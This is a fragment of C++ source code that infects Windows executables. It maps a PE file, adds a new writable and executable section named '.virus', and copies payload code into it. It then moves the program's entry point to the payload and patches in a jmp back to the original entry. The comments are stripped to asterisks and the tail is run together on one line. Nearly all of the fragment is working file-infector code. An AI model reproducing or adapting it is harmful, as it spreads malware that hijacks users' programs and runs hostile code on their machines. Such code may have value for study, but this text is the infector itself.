		goto CloseNewFileHandle;
	}

	//	*******           *******
	RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);

	IMAGE_NT_HEADERS *pNewFileNtHeader;

	pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);

//////////////////////////////////////////////////////////////////////////
//*******       *******
//*******pMapOfFile			:	        
//*******pDosHeader			:	      DOS        ,        
//*******pNTHeader			:	      NT 
//*******pNewFileHeader		:	      
//*******pNewFileNtHeader	:	    NT 
//////////////////////////////////////////////////////////////////////////
//****************************************************************
//*******          *******
//****************************************************************
	int nSecNum;
	nSecNum = pNtHeader->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER *pLastSec , *pNewSec;

	//	*******              *******
	pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
				+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));

	//	*******pNewSec           ,          *******
	pNewSec = pLastSec + 1;

	//*******           *******
	//*****     1*****
	pNewFileNtHeader->FileHeader.NumberOfSections ++;

	//*****         *****
	pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;

	//*****         *****
	int nAlignNum;

	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
	{
		nAlignNum++;
	}
	pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;

	//*****                  *****
	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
	{
		nAlignNum ++;
	}
	pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
						pNewFileNtHeader->OptionalHeader.SectionAlignment;

	//*****          *****
	pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
						pNewFileNtHeader->OptionalHeader.SectionAlignment;

	//*****          *****
	//*****                           *****
	nAlignNum = pLastSec->Misc.VirtualSize / 
				pNewFileNtHeader->OptionalHeader.SectionAlignment;
	if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
	{
		nAlignNum ++;
	}
	pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
								pLastSec->VirtualAddress;

	//*****         *****
	pNewSec->Misc.VirtualSize = dwFunCodeLen;

	//*****      *****
	pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
					IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

	//*****    *****
	strcpy((char*)pNewSec->Name , ".virus");

	//*****      *****

	pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;

	BOOL bWrite;
	DWORD dwHeaderSize , dwWriten;
	dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
	bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);

	//*****          *****
	DWORD dwSetFileP;

	//*****            *****
	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
	if (!dwSetFileP)
	{
		cout << "SetFilePointer Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****      *****
	bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
	if (!bWrite)
	{
		cout << "Write Virus Code Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****       *****
	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + 
					pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
	if (!dwSetFileP)
	{
		cout << "SetFilePointer End Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*****      *****
	if (!SetEndOfFile(hNewFile))
	{
		cout << "SetEndOfFile Error!" << endl;
		goto CloseNewFileHandle;
	}

	//*******       *******
	PBYTE pModifyAddr;
	pModifyAddr = (PBYTE)pNewSec->VirtualAddress;

	pModifyAddr	+= dwFunCodeLen;
	//printf("%x
" , pModifyAddr); int nSub; // nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; DWORD dwModifyLoca; dwModifyLoca = pNewSec->PointerToRawData; dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; //dwModifyLoca ++; // ***** ***** dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "Modify Address SetFilePointer Error!" << endl; goto CloseNewFileHandle; } //***** jmp ***** BYTE bJmp; bJmp = 0XE9; bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //***** ***** bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //**************************************************************** //******* ******* //**************************************************************** CloseNewFileHandle: CloseHandle(hNewFile); FreeViewOfMap: UnmapViewOfFile(pMapOfFile); CLOSEMAPHANDLE: CloseHandle(hMapFile); CLOSEFILEHANDLE: CloseHandle(hFile); }